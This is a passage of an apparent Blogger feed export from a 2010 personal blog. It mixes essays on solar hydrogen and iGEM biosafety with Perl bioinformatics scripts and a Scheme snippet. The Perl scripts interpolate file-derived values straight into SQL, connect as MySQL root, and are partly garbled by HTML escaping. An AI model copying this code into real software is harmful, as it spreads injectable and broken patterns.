Swaminathan's feelings of unpleasantness about this day. The joy of having enjoyed the freedom of Saturday and Sunday is overshadowed by the dreary nature of Monday mornings. Apart from the obviously long list of things to complete from the past two days, there is always this feeling of foreboding about Monday which is difficult to overcome.&lt;br /&gt;&lt;br /&gt;Anything could happened on a Monday, may be Mr Ebenezar would take upon himself the duty of teaching us idiots the futility of idol worship. Worse still we might feel the insane urge to contradict and question him. Even if we do manage to get through all this ruckus, will we have the sense of not telling anybody at home during the meal about it and getting a stern letter written to the principal the next day?&lt;br /&gt;&lt;br /&gt;Everything is not bad as we have few things to look forward to even on Mondays, there is the 12.30 mail to watch from the window. If we manage to solve the 5 arithmetic “puzzles” correctly life would not be that bad.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-877484810507681106?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/877484810507681106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=877484810507681106' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/877484810507681106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/877484810507681106'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/monday-morning-swami-and-friends.html' title='Monday Morning - Swami and Friends'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7694352290722723085</id><published>2010-04-13T18:07:00.000-07:00</published><updated>2010-04-13T18:10:57.018-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Hydrogen from solar energy and water?</title><content type='html'>Industrialization has been largely driven by the continued discovery of oil reserves. However, the number of oil findings is decreasing. A future with no oil left to use is a reality we have to face. Apart from the obvious problem of scarcity the fuels such as oil, coal and gas have been known to contribute to the problem of global warming. The situation is further complicated by the growing need for energy from users who are yet to start using the energy resources.&lt;br /&gt;&lt;br /&gt;Many alternative strategies such as solar energy, wind, nuclear, tidal, geothermal etc have been proposed to solve these problems. Although these alternative sources might be able to provide energy, it might not be possible to use them effectively as fuels for transportation systems. Transportation systems being the major consumer of fuels today may need a different approach. Loss of energy during the conversion process has made it necessary to have a direct product which can be used as a fuel.&lt;br /&gt;&lt;br /&gt;Use of solar energy to produce fuels such as hydrogen has gained importance in this context. Hydrogen could be directly used as a fuel and lack of carbon in the fuel source makes it a rather clean source of energy. The problem of scarcity and global warming can be tackled with this interesting approach. Two main approaches are being pursued to achieve this goal of using water to produce hydrogen using solar energy. The first approach is the photo biological method which aims to create or alter a biological system to convert solar energy into hydrogen using water as raw material. The second approach is the chemical method, which uses photo systems or molecules that imitate photo systems coupled to other molecules to drive reaction that convert water into hydrogen.&lt;br /&gt;&lt;br /&gt;Photosystem II uses solar energy to oxidize water releasing electrons. This reaction is rather efficient although the other steps happening in the biological systems are not as efficient. Hence, the aim is to mimic just this step of the process from nature. The chemical approach has used molecules such as ruthenium linked to the photo systems to act as electron acceptor from Manganese. This is used to drive the reaction to produce hydrogen from water. The enzyme hydrogenase which can catalyse the reaction to produce hydrogen is used in this second step of the reaction.&lt;br /&gt;&lt;br /&gt;Biological systems such as Nostoc produce hydrogen in special cells from nitrogenase. Currently large and small scale reactors are being developed to produce hydrogen from such biological systems and make them as effective as possible.&lt;br /&gt;&lt;br /&gt;The direct methods of producing fuels have been found to be much more effective than the indirect methods which require the energy to be converted to electricity which is then used to split the water molecules by electrolysis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7694352290722723085?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7694352290722723085/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7694352290722723085' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7694352290722723085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7694352290722723085'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/hydrogen-from-solar-energy-and-water.html' title='Hydrogen from solar energy and water?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-579877760605687911</id><published>2010-04-11T18:33:00.000-07:00</published><updated>2010-04-11T18:45:34.558-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Brick BAT - iGEM brick biosaftey Assessment tool</title><content type='html'>With increasing popularity of genetic engineering and synthetic biology we are on the way to malicious biological content. We have seen programs like spyware and malware come out of the IT revolution. What horrors will come out of the advances in biology?&lt;br /&gt;&lt;br /&gt;What if crops of entire nations are held to ransom by a pathogenic viral strain? worse still, the human population may be threatened. Organisms that copy our genetic material and take it for analysis without our permission are a distant possibility.  Such spyteria (spy + bacteria) are a threat we must get ready to face.&lt;br /&gt;&lt;br /&gt;A popular synthetic biology contest called &lt;a href="http://2010.igem.org/About"&gt;iGEM&lt;/a&gt; ( International Genetically Engineered Machines) is encouraging an engineering based approach to synthetic biology. Although they are very serious about biosafety, a categorisation system for the various parts and components was not being used. I have come up with a simple categorisation scheme called &lt;a href="http://2010.igem.org/Team:Uppsala-Swedenbrickbat"&gt;Brick BAT&lt;/a&gt;. This is a set of questions to classify the components into different levels of biosafety.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-579877760605687911?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/579877760605687911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=579877760605687911' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/579877760605687911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/579877760605687911'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/brick-bat-igem-brick-biosaftey.html' title='Brick BAT - iGEM brick biosaftey Assessment tool'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4514083574176186658</id><published>2010-03-30T11:08:00.000-07:00</published><updated>2010-03-30T11:10:10.915-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><title type='text'>Blast - XML output parser</title><content type='html'>The below script parses the output from blast with XML as option and stores the values in an array.&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;#---blast output file&lt;br /&gt;my $infile = "blastout";&lt;br /&gt;open(IN, "$infile");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;while((my $line = &lt;in&gt;) &amp;amp;&amp;amp; ($hitnumber[0] &lt; $taketill)){ #reading the first $taketill numbers&lt;br /&gt;chomp($line);&lt;br /&gt;    if ($line =~ /\&lt;hit_num\&gt;/) {#reading hit number&lt;br /&gt;    push(@hitnums,split(/\&lt;\/Hit_num\&gt;/,(split(/\&lt;hit_num\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hit_def\&gt;/) {#reading definiton&lt;br /&gt;    push(@hitdefs,split(/\&lt;\/Hit_def\&gt;/,(split(/\&lt;hit_def\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hit_len\&gt;/) {#reading length&lt;br /&gt;    push(@hitlens,split(/\&lt;\/Hit_len\&gt;/,(split(/\&lt;hit_len\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_bit-score\&gt;/) {#reading bitscore&lt;br /&gt;    push(@bitscores,split(/\&lt;\/Hsp_bit-score\&gt;/,(split(/\&lt;hsp_bit-score\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_score\&gt;/) {&lt;br /&gt;    push(@scores,split(/\&lt;\/Hsp_score\&gt;/,(split(/\&lt;hsp_score\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_evalue\&gt;/) {#reading evalue&lt;br /&gt;    push(@evalues,split(/\&lt;\/Hsp_evalue\&gt;/,(split(/\&lt;hsp_evalue\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_query-from\&gt;/) {#reading query match begin&lt;br /&gt;    push(@qfroms,split(/\&lt;\/Hsp_query-from\&gt;/,(split(/\&lt;hsp_query-from\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_query-to\&gt;/) {#reading query match end&lt;br /&gt;    push(@qtos,split(/\&lt;\/Hsp_query-to\&gt;/,(split(/\&lt;hsp_query-to\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_hit-from\&gt;/) {#reading hit match begin&lt;br /&gt;    push(@hfroms,split(/\&lt;\/Hsp_hit-from\&gt;/,(split(/\&lt;hsp_hit-from\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_hit-to\&gt;/) {#reading hit match end&lt;br /&gt;    push(@htos,split(/\&lt;\/Hsp_hit-to\&gt;/,(split(/\&lt;hsp_hit-to\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_query-frame\&gt;/) {#reading query frame&lt;br /&gt;    push(@qframes,split(/\&lt;\/Hsp_query-frame\&gt;/,(split(/\&lt;hsp_query-frame\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_hit-frame\&gt;/) {#reading hit frame&lt;br /&gt;    push(@hframes,split(/\&lt;\/Hsp_hit-frame\&gt;/,(split(/\&lt;hsp_hit-frame\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_identity\&gt;/) {#reading identities&lt;br /&gt;    push(@identities,split(/\&lt;\/Hsp_identity\&gt;/,(split(/\&lt;hsp_identity\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_positive\&gt;/) {#reading positives&lt;br /&gt;    push(@positives,split(/\&lt;\/Hsp_positive\&gt;/,(split(/\&lt;hsp_positive\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;    if ($line =~ /\&lt;hsp_align-len\&gt;/) {#reading alignment length&lt;br /&gt;    push(@algnlens,split(/\&lt;\/Hsp_align-len\&gt;/,(split(/\&lt;hsp_align-len\&gt;/, $line))[1]));&lt;br /&gt;    }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4514083574176186658?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4514083574176186658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4514083574176186658' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4514083574176186658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4514083574176186658'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/03/blast-xml-output-parser.html' title='Blast - XML output parser'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3667779104643494827</id><published>2010-03-19T15:54:00.000-07:00</published><updated>2010-04-11T18:24:05.168-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><title type='text'>Strand specific translation of DNA to aminoacid sequence in PERL</title><content type='html'>PERL script to read the annotation file and update translated ORF's it into the mysql database and writing it into a multifasta file.&lt;br /&gt;&lt;br /&gt;use DBI;&lt;br /&gt;&lt;br /&gt;$dbh = DBI-&gt;connect('DBI:mysql:meta', 'root', 'password'&lt;br /&gt;              ) || die "Could not connect to database: $DBI::errstr";&lt;br /&gt;&lt;br /&gt;my ($infile) = @ARGV;&lt;br /&gt;open(IN, "$infile");&lt;br /&gt;my $outfile ="multifasta";&lt;br /&gt;open(OUT,"&gt;&gt;$outfile");&lt;br /&gt;&lt;br /&gt;my $jcvi_read,$strand,$start,$stop,@seq,$ofset,$leng,$wrtseq;&lt;br /&gt;&lt;br /&gt;while(my $line = &lt;in&gt;){&lt;br /&gt;chomp($line);&lt;br /&gt;&lt;br /&gt;my @a = split(/ /, $line);&lt;br /&gt;my @c = split(/\s+/, $line);&lt;br /&gt;my @b = split(/\_/, $a[0]);&lt;br /&gt;$jcvi_read=$b[2];&lt;br /&gt;$start = $c[3];&lt;br /&gt;$stop = $c[4];&lt;br /&gt;$strand = $c[6];&lt;br /&gt;$pep = $c[8];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$sth = $dbh-&gt;prepare("SELECT sequence FROM metadata WHERE jcvi_read='$jcvi_read'");&lt;br /&gt;$sth-&gt;execute();&lt;br /&gt;&lt;br /&gt;@seq = $sth-&gt;fetchrow_array();&lt;br /&gt;&lt;br /&gt;$ofset=$start - 1;&lt;br /&gt;$leng=$stop-$start;&lt;br /&gt;$wrtseq=substr $seq[0], $ofset, $leng;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$sth-&gt;finish();&lt;br /&gt;&lt;br /&gt;#function to translate DNA to Amino acid based on standard genetic code&lt;br /&gt;   sub codon2aa{&lt;br /&gt;   my($codon)=@_;&lt;br /&gt;   $codon= uc $codon;&lt;br /&gt;   my(%genetic_code) = (&lt;br /&gt;    'TCA'=&gt;'S', #Serine&lt;br /&gt;   'TCC'=&gt;'S', #Serine&lt;br /&gt;    'TCG'=&gt;'S',  #Serine&lt;br /&gt;    'TCT'=&gt;'S', #Serine&lt;br /&gt;    'TTC'=&gt;'F', #Phenylalanine&lt;br /&gt;   'TTT'=&gt;'F', #Phenylalanine&lt;br /&gt;   'TTA'=&gt;'L', #Leucine&lt;br /&gt;   'TTG'=&gt;'L', #Leucine&lt;br /&gt;   'TAC'=&gt;'Y', #Tyrosine&lt;br /&gt;   'TAT'=&gt;'Y', #Tyrosine&lt;br /&gt;    'TAA'=&gt;'_', #Stop&lt;br /&gt;    'TAG'=&gt;'_', #Stop&lt;br /&gt;    'TGC'=&gt;'C', #Cysteine&lt;br /&gt;    'TGT'=&gt;'C', #Cysteine&lt;br /&gt;    'TGA'=&gt;'_', #Stop&lt;br /&gt;    'TGG'=&gt;'W', #Tryptophan&lt;br /&gt;    'CTA'=&gt;'L', #Leucine&lt;br /&gt;   'CTC'=&gt;'L', #Leucine&lt;br /&gt;     'CTG'=&gt;'L', #Leucine&lt;br /&gt;      'CTT'=&gt;'L', #Leucine&lt;br /&gt;      'CCA'=&gt;'P', #Proline&lt;br /&gt;      'CAT'=&gt;'H', #Histidine&lt;br /&gt;      'CAA'=&gt;'Q', #Glutamine&lt;br /&gt;    'CAG'=&gt;'Q', #Glutamine&lt;br /&gt;     'CGA'=&gt;'R', #Arginine&lt;br /&gt;     'CGC'=&gt;'R', #Arginine&lt;br /&gt;      'CGG'=&gt;'R', #Arginine&lt;br /&gt;      'CGT'=&gt;'R', #Arginine&lt;br /&gt;       'ATA'=&gt;'I', #Isoleucine&lt;br /&gt;      'ATC'=&gt;'I', #Isoleucine&lt;br /&gt;      'ATT'=&gt;'I', #Isoleucine&lt;br /&gt;     'ATG'=&gt;'M', #Methionine&lt;br /&gt;     'ACA'=&gt;'T', #Threonine&lt;br /&gt;     'ACC'=&gt;'T', #Threonine&lt;br /&gt;       'ACG'=&gt;'T', #Threonine&lt;br /&gt;      'ACT'=&gt;'T', #Threonine&lt;br /&gt;     'AAC'=&gt;'N', #Asparagine&lt;br /&gt;     'AAT'=&gt;'N', #Asparagine&lt;br /&gt;     'AAA'=&gt;'K', #Lysine&lt;br /&gt;     'AAG'=&gt;'K', #Lysine&lt;br /&gt;     'AGC'=&gt;'S', #Serine#Valine&lt;br /&gt;      'AGT'=&gt;'S', #Serine&lt;br /&gt;     'AGA'=&gt;'R', #Arginine&lt;br /&gt;      'AGG'=&gt;'R', #Arginine&lt;br /&gt;       'CCC'=&gt;'P', #Proline&lt;br /&gt;     'CCG'=&gt;'P', #Proline&lt;br /&gt;       'CCT'=&gt;'P', #Proline&lt;br /&gt;       'CAC'=&gt;'H', #Histidine&lt;br /&gt;     'GTA'=&gt;'V', #Valine&lt;br /&gt;      'GTC'=&gt;'V', #Valine&lt;br /&gt;       'GTG'=&gt;'V', #Valine&lt;br /&gt;      'GTT'=&gt;'V', #Valine&lt;br /&gt;       'GCA'=&gt;'A', #Alanine&lt;br /&gt;      'GCC'=&gt;'A', #Alanine&lt;br /&gt;      'GCG'=&gt;'A', #Alanine&lt;br /&gt;     'GCT'=&gt;'A', #Alanine&lt;br /&gt;     'GAC'=&gt;'D', #Aspartic Acid&lt;br /&gt;      'GAT'=&gt;'D', #Aspartic Acid&lt;br /&gt;    'GAA'=&gt;'E', #Glutamic Acid&lt;br /&gt;      'GAG'=&gt;'E', #Glutamic Acid&lt;br /&gt;     'GGA'=&gt;'G', #Glycine&lt;br /&gt;    'GGC'=&gt;'G', #Glycine&lt;br /&gt;     'GGG'=&gt;'G', #Glycine&lt;br /&gt;      'GGT'=&gt;'G', #Glycine&lt;br /&gt;       );&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;        if(exists $genetic_code{$codon}){&lt;br /&gt;        return $genetic_code{$codon};&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;     else{&lt;br /&gt;&lt;br /&gt;return 'X';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;      }&lt;br /&gt;if($strand == '-')&lt;br /&gt;#reverse complementing -ve strands&lt;br /&gt;{$wrtseq=reverse $wrtseq;&lt;br /&gt;$wrtseq=~ tr/ATGC/TACG/;}&lt;br /&gt;&lt;br /&gt;   my $dna=$wrtseq;&lt;br /&gt;   #my $dna="TCATTCTCATTC";&lt;br /&gt;    my $protein='';&lt;br /&gt;   my $codon3;&lt;br /&gt;   for(my $i=0; $i&lt;(length($dna)-2); $i+=3){     $codon3=substr($dna,$i,3);            $protein.=  codon2aa($codon3);       }  print $pep."\n"; $dbh-&gt;do("INSERT into iddata (jcvi_read,strand,start,stop,protein,orf_id) VALUES('$jcvi_read','$strand','$start','$stop','$protein','$pep')");  &lt;br /&gt;&lt;br /&gt;print OUT "&gt;".$jcvi_read."|".$pep."\n";&lt;br /&gt;print OUT $protein."\n";&lt;br /&gt;}&lt;br /&gt;$dbh-&gt;disconnect();&lt;/in&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3667779104643494827?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3667779104643494827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3667779104643494827' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3667779104643494827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3667779104643494827'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/03/strand-specific-translation-of-dna-to.html' title='Strand specific translation of DNA to aminoacid sequence in PERL'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8116650521462748038</id><published>2010-03-04T13:59:00.001-08:00</published><updated>2010-03-04T14:01:41.205-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><title type='text'>Updating mySql database from Perl</title><content type='html'>Perl script to read multifasta file calculate GC content,GC Skew and insert into mySql database.&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use DBI;&lt;br /&gt;&lt;br /&gt;$dbh = DBI-&gt;connect('DBI:mysql:meta', 'root', 'password'&lt;br /&gt;               ) || die "Could not connect to database: $DBI::errstr";&lt;br /&gt;&lt;br /&gt;my ($infile) = @ARGV;&lt;br /&gt;open(IN, "$infile");&lt;br /&gt;&lt;br /&gt;my $jcvi_read,$leng,$gccont=0,$gcskew=0,$seq="";&lt;br /&gt;&lt;br /&gt;while(my $line = &lt;in&gt;){&lt;br /&gt;chomp($line);&lt;br /&gt;    if ($line =~ /^\&gt;/) {#reading header line&lt;br /&gt;&lt;br /&gt;    if($jcvi_read !=0){&lt;br /&gt;$gccont=($gccont/$leng)*100;&lt;br /&gt;&lt;br /&gt;    $dbh-&gt;do("INSERT into metadata (jcvi_read,full_length,gc_content,gc_skew_orient,sequence) VALUES('$jcvi_read','$leng','$gccont','$gcskew','$seq')");#inserting the data into mySql Database&lt;br /&gt;}&lt;br /&gt;    $gccont=0;&lt;br /&gt;    $seq="";&lt;br /&gt;    my @a = split(/\//, $line);&lt;br /&gt;    my @b = split(/\_/, $a[0]);&lt;br /&gt;    $jcvi_read = $b[2];&lt;br /&gt;    my @c = split(/\=/, $a[1]);&lt;br /&gt;    $leng = $c[1];&lt;br /&gt;#    print $jcvi_read."\n";   &lt;br /&gt;    }&lt;br /&gt;    else{#reading and analysing the sequence&lt;br /&gt;        $seq = $seq.$line;&lt;br /&gt;        my @char =split(//,$line);&lt;br /&gt;        foreach(@char){&lt;br /&gt;            if($_ eq "G"|| $_ eq "C"){$gccont++;}# Calculating GC content&lt;br /&gt;            if($_ eq "G"){$gcskew++;}#Calcualting GC skew&lt;br /&gt;            if($_ eq "C"){$gcskew--;}&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;#print $gcskew."\n";&lt;br /&gt;}&lt;br /&gt;$dbh-&gt;disconnect();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8116650521462748038?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8116650521462748038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8116650521462748038' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8116650521462748038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8116650521462748038'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/03/updating-mysql-database-from-perl.html' title='Updating mySql database from Perl'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7812524113797681315</id><published>2010-02-27T13:42:00.000-08:00</published><updated>2010-02-27T14:18:36.726-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>GANESH and Tuberculosis - Genomic Signature</title><content type='html'>&lt;a href="http://en.wikipedia.org/wiki/Ganesha"&gt;Ganesh&lt;/a&gt; is a Hindu god who might have something to do with tuberculosis. No its not a divine or supernatural connection. Its more of a coincidental connection.&lt;br /&gt;&lt;br /&gt;As we enter the post genomic era of creating synthetic organisms, the trend is to sign the genome with the name of the company or author of the genome in the genetic code. Assuming the various living organism that exist today are gods creations, it could be expected to have been signed by the gods. BRAMHA the god of creation would be expected to top the list. However, since the genetic code does not have a "B" it can be ruled out.&lt;br /&gt;&lt;br /&gt;Lord Ganesh has signed his name in many genes, as a &lt;a href="http://blast.ncbi.nlm.nih.gov/Blast.cgi?PAGE=Proteins"&gt;BlastP&lt;/a&gt; search will tell you. Dont believe me, take a look at the conserved protein from &lt;a href="http://www.ncbi.nlm.nih.gov/protein/289443584?report=fasta&amp;amp;log$=seqview"&gt;Mycobacterium tuberculosis T46&lt;/a&gt; in NCBI.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;gi&lt;/span&gt;|289443584|ref|&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;ZP&lt;/span&gt;_06433328.1| conserved hypothetical protein [&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Mycobacterium&lt;/span&gt; tuberculosis T46]&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;MFVDVGLLHS&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;GANESH&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;YAGEHAHGGADQLSRGPLLSGMFGTFPVAQTFHDAVGAAHAQQMRNLHAHRQAL&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;ITVGEKARHAATGSPTWTTATPLS&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;The genetic code seems to be more secular than most as it contains signatures from Allah as well. Take a look at another conserved protein from &lt;a href="http://www.ncbi.nlm.nih.gov/protein/289627952?report=fasta&amp;amp;log$=seqview"&gt;Pseudomonas&lt;/a&gt;. The greek goddess &lt;a href="http://en.wikipedia.org/wiki/Demeter"&gt;Demeter&lt;/a&gt; could also be located in &lt;a href="http://www.ncbi.nlm.nih.gov/protein/251794990?report=fasta&amp;amp;log$=seqview"&gt;Paenibacillus&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&gt;gi|289627952|ref|ZP_06460906.1| enterobactin synthase subunit F [Pseudomonas syringae pv. aesculi str. NCPPB3681]&lt;br /&gt;AASTSGAVINVLPMQVQVAPQATMAELAHGITAELKRLRKHQRYNAEQIQRDLGRIGDAEPLYGAVLNLK&lt;br /&gt;LFDFELDLDGIAGVTHTLASGPVRDMEIALRFNPCGDVSLELLANAERYDDATLARHLRRLSLLLEQFGA&lt;br /&gt;NPQLSCEAASPLDREDQ&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;ALLAH&lt;/span&gt;VNDTAQPLTEDTLV&lt;br /&gt;&lt;br /&gt;If you know any other secret messages that the gods encoded in the genome?&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7812524113797681315?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7812524113797681315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7812524113797681315' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7812524113797681315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7812524113797681315'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/02/ganesh-and-tuberculosis-genomic.html' title='GANESH and Tuberculosis - Genomic Signature'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3856864464330755227</id><published>2009-12-19T14:00:00.000-08:00</published><updated>2009-12-19T14:02:15.544-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scheme'/><title type='text'>Order a list as per list using scheme</title><content type='html'>The below program takes in a list of arguments and orders them as per the second list.&lt;br /&gt;&lt;br /&gt;(define (nth lst1 lst2 n)&lt;br /&gt;  (if (= n (car lst2)) (car lst1) (nth (cdr lst1) (cdr lst2) n)))&lt;br /&gt;&lt;br /&gt;(define (order lst1 lst2)&lt;br /&gt;  (define (order-help n)&lt;br /&gt;  (if (&gt; n (length lst1)) '() (cons (nth lst1 lst2 n) 